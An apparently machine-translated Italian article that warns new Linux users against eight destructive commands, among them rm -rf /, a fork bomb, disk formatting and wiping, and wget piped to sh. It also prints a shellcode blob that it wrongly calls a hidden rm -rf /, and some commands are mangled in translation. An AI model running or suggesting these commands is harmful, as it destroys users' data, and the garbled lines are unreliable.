8 comandi mortali che non dovresti mai eseguire su Linux
I comandi del terminale di Linux sono potenti e Linux non chiederà conferma se si esegue un comando che interromperà il sistema. Non è raro vedere i troll online raccomandare ai nuovi utenti Linux di eseguire questi comandi come uno scherzo.
Imparare i comandi che non dovresti eseguire può aiutarti a proteggerti dai troll mentre aumenti la tua comprensione di come funziona Linux. Questa non è una guida esaustiva e i comandi qui possono essere remixati in vari modi.
Nota che molti di questi comandi saranno pericolosi solo se sono prefissati con sudo su Ubuntu - non funzioneranno diversamente. Su altre distribuzioni Linux, la maggior parte dei comandi deve essere eseguita come root.
Immagine di credito: Skull and Crossbones remixato da Jason Ford su Twitter
rm -rf / - Elimina tutto!
Il comando rm -rf / elimina tutto il possibile, inclusi i file sul disco rigido e i file sui dispositivi rimovibili collegati. Questo comando è più comprensibile se è suddiviso:
rm - Rimuovi i seguenti file.
-rf - Esegui rm in modo ricorsivo (elimina tutti i file e le cartelle all'interno della cartella specificata) e forza-rimuovi tutti i file senza chiedere conferma all'utente.
/ - Comunica a rm di iniziare nella directory principale, che contiene tutti i file sul computer e tutti i dispositivi multimediali montati, comprese le condivisioni di file remoti e le unità rimovibili.
Linux obbedirà felicemente a questo comando e cancellerà tutto senza averti richiesto, quindi fai attenzione quando lo usi! Il comando rm può anche essere utilizzato in altri modi pericolosi - rm -rf ~ cancellerebbe tutti i file nella tua cartella home, mentre rm -rf. * cancellerebbe tutti i tuoi file di configurazione.
La lezione: Attenzione rm -rf.
Travestito rm -rf /
Ecco un altro frammento di codice che si trova in tutto il Web:
char esp [] __attribute__ ((section (". text"))) / * e.s.p
pubblicazione */
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
“\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ X8D \ x99”
“\ XDF \ x81 \ x68 \ X8D \ x92 \ XDF \ xd2 \ x54 \ x5e \ XF7 \ x16 \ XF7”
“\ X56 \ x04 \ XF7 \ x56 \ x08 \ XF7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56”
“\ X8D \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31”
“\ Xc0 \ x40 \ XEB \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2F \ x62 \ x69”
“\ X6e \ x2F \ x73 \ x68 \ x00 \ X2D \ x63 \ x00”
"Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Questa è la versione esadecimale di rm -rf / - l'esecuzione di questo comando cancellerebbe i tuoi file come se avessi eseguito rm -rf /.
La lezione: Non eseguire comandi dall'aspetto strano, evidentemente camuffati che non capisci.
: () : |: & ;: - Fork Bomb
La seguente riga è una funzione bash dall'aspetto semplice ma pericoloso:
: () : |: & ;:
Questa breve linea definisce una funzione di shell che crea nuove copie di se stesso. Il processo si replica continuamente e le sue copie si replicano continuamente, occupando rapidamente tutto il tempo e la memoria della CPU. Ciò può causare il blocco del computer. È fondamentalmente un attacco denial-of-service.
La lezione: Le funzioni di Bash sono potenti, anche molto brevi.
Immagine di credito: Dake su Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formatta un disco rigido
Il mkfs.ext4 / dev / sda1 il comando è semplice da capire:
mkfs.ext4 - Creare un nuovo file system ext4 sul seguente dispositivo.
/ Dev / sda1 - Specifica la prima partizione sul primo disco rigido, che è probabilmente in uso.
Nel complesso, questo comando può essere equivalente al formato c: su Windows: cancella i file sulla prima partizione e li sostituisce con un nuovo file system.
Questo comando può venire anche in altre forme - mkfs.ext3 / dev / sdb2 formattare la seconda partizione sul secondo disco rigido con il file system ext3.
La lezione: Fare attenzione ai comandi di esecuzione direttamente sui dispositivi del disco rigido che iniziano con / dev / sd.
comando> / dev / sda - Scrive direttamente su un disco rigido
Il comando> / dev / sda la linea funziona in modo simile: esegue un comando e invia l'output di tale comando direttamente al primo disco rigido, scrivendo i dati direttamente sul disco rigido e danneggiando il file system.
comando - Esegui un comando (può essere qualsiasi comando).
> - Invia l'output del comando al seguente percorso.
/ Dev / sda - Scrivi l'output del comando direttamente sul dispositivo del disco rigido.
La lezione: Come sopra, fai attenzione ai comandi in esecuzione che coinvolgono i dispositivi del disco rigido che iniziano con / dev / sd.
dd if = / dev / random of = / dev / sda - Scrive Junk Onto su un disco rigido
Il dd if = / dev / random of = / dev / sda linea cancellerà anche i dati su uno dei tuoi dischi rigidi.
dd - Esegui la copia di basso livello da una posizione a un'altra.
if = / dev / random - Usa / dev / random (dati casuali) come input - puoi anche vedere posizioni come / dev / zero (zeri).
of = / dev / sda - Uscita sul primo disco rigido, sostituendo il suo file system con dati illegali casuali.
La lezione: dd copia i dati da una posizione a un'altra, il che può essere pericoloso se si copia direttamente su un dispositivo.
Immagine di credito: Matt Rudge su Flickr
mv ~ / dev / null - Sposta la tua home directory su un buco nero
/ dev / null è un'altra posizione speciale: spostare qualcosa su / dev / null equivale a distruggerlo. Pensa a / dev / null come a un buco nero. Essenzialmente, mv ~ / dev / null manda tutti i tuoi file personali in un buco nero.
mv - Sposta il seguente file o directory in un'altra posizione.
~ - Rappresenta la tua intera cartella home.
/ Dev / null - Sposta la tua cartella Inizio in / dev / null, distruggendo tutti i tuoi file ed eliminando le copie originali.
La lezione: Il carattere ~ rappresenta la tua cartella principale e spostare le cose su / dev / null le distrugge.
wget http://example.com/qualcosa -O - | sh: scarica ed esegue uno script
La riga precedente scarica uno script dal web e lo invia a sh, che esegue il contenuto dello script. Questo può essere pericoloso se non sei sicuro di quale sia lo script o se non ti fidi della sua origine - non eseguire script non fidati.
wget - Scarica un file. (Puoi anche vedere l'arricciatura al posto di wget.)
http://example.com/something - Scarica il file da questa posizione.
| - Convoglia (invia) l'output del comando wget (il file scaricato) direttamente a un altro comando.
sh - Invia il file al comando sh, che lo esegue se si tratta di uno script bash.
La lezione: Non scaricare ed eseguire script non affidabili dal Web, anche con un comando.
Conosci altri comandi pericolosi che i nuovi utenti Linux (e con esperienza) non dovrebbero eseguire? Lascia un commento e condividili!